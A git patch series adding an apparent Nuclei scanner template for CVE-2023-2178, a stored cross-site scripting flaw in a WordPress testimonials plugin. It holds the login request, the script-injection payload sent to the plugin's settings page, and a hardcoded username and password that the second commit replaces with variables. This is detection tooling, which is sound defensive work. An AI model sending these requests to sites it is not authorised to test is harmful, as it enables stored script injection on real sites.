From 2ccb307cbdb9928655882bce79420249722ee582 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Tue, 25 Jul 2023 11:28:16 +0530 Subject: [PATCH 1/2] Create CVE-2023-2178.yaml --- http/cves/2023/CVE-2023-2178.yaml | 44 +++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 http/cves/2023/CVE-2023-2178.yaml diff --git a/http/cves/2023/CVE-2023-2178.yaml b/http/cves/2023/CVE-2023-2178.yaml new file mode 100644 index 00000000000..1212ef274b5 --- /dev/null +++ b/http/cves/2023/CVE-2023-2178.yaml @@ -0,0 +1,44 @@ +id: CVE-2023-2178 + +info: + name: Aajoda Testimonials < 2.2.2 - Cross-Site Scripting + author: Farish + severity: medium + description: | + The plugin does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). + reference: + - https://wpscan.com/vulnerability/e84b71f9-4208-4efb-90e8-1c778e7d2ebb + - https://downloads.wordpress.org/plugin/aajoda-testimonials.2.1.0.zip + - https://nvd.nist.gov/vuln/detail/CVE-2023-2178 + classification: + cve-id: CVE-2023-2178 + metadata: + max-request: 1 + verified: true + tags: cve,cve2023,wordpress,wp,wp-plugin,xss,authenticated + +http: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + log=amanrawat&pwd=Aman@2001;&wp-submit=Log+In + + - | + POST /wp-admin/options-general.php?page=aajoda-testimonials HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + aajodatestimonials_opt_hidden=Y&aajoda_version=2.0&aajodatestimonials_code=%22%3E%3C%2Ftextarea%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%0D%0A%0D%0A%0D%0A&Submit=Save + + cookie-reuse: true + matchers: + - type: dsl + dsl: + - 'status_code_2 == 200' + - 'contains(all_headers_2, "text/html")' + - 'contains(body_2, ">")' + - 'contains(body_2, "page_aajoda-testimonials")' + condition: and From cd4831d909395a1cd9efbe35155cd3612aa945c7 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Tue, 25 Jul 2023 11:29:28 +0530 Subject: [PATCH 2/2] Update CVE-2023-2178.yaml --- http/cves/2023/CVE-2023-2178.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http/cves/2023/CVE-2023-2178.yaml b/http/cves/2023/CVE-2023-2178.yaml index 1212ef274b5..85f8a6d3923 100644 --- a/http/cves/2023/CVE-2023-2178.yaml +++ b/http/cves/2023/CVE-2023-2178.yaml @@ -24,7 +24,7 @@ http: Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - log=amanrawat&pwd=Aman@2001;&wp-submit=Log+In + log={{username}}&pwd={{password}}&wp-submit=Log+In - | POST /wp-admin/options-general.php?page=aajoda-testimonials HTTP/1.1